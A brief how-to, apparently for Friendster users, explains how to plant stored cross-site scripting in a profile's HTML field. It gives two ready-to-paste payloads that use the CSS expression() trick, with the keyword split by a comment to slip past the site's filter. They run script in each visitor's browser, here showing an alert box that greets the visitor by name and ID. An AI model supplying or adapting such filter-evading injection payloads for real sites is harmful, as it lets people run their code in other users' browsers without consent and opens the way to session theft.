This is a way to create an alert box with the so-called XSS scripting.

So, How is it works? Simply add following code into HTML field on your profile:

<img src="" id="mycode" 
style="height:expr/**/ession(alert('ALERT BOX MESSAGE'));
width:expr/**/ession(document.all.mycode.style.height='0px')" />

You can put any message and change the box type by replacing the attribute 'alert' with 'confirm' or 'prompt'.

You can also create an alert message with your visitor ID or name in it, by adding this variable: pageViewerFName for name and pageViewerID for Friendster ID.

Another example code for alert message with visitor name in the message is shown below:

<img src="" id="mycode" 
style="height:expr/**/ession(alert('Whats up '+parent.pageViewerFName+'!?'));
width:expr/**/ession(document.all.mycode.style.height='0px')" />